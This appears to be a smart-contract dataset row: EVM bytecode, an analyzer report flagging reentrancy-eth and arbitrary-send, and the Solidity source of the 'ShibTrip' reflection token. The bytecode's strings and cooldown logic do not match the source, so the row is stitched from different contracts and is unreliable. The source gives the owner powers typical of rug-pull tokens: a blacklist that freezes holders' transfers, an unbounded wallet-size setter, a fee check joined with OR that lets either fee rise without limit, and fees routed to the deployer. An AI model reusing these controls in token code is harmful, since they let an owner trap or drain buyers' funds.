00000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b60036008819055506005600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d0d18cbc9ec6ea01695743ed9fc5180442c45801ce9a60b93ee7b4f3f2ce13d464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,362 |
0x6893a7b7f6aecbc2e78c69c41340d0a3d0638f3f
|
/**
*Submitted for verification at Etherscan.io on 2022-03-22
*/
// SPDX-License-Identifier: Unlicensed
//https://t.me/shibtrip
//https://t.me/shibtrip
//https://t.me/shibtrip
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ShibTrip is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ShibTrip";
string private constant _symbol = "SHIBTRIP";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 3;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 3;
uint256 private _taxFeeOnSell = 7;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 10000000000 * 10**9;
uint256 public _swapTokensAtAmount = 1000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
require(!tradingOpen);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 5000000000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
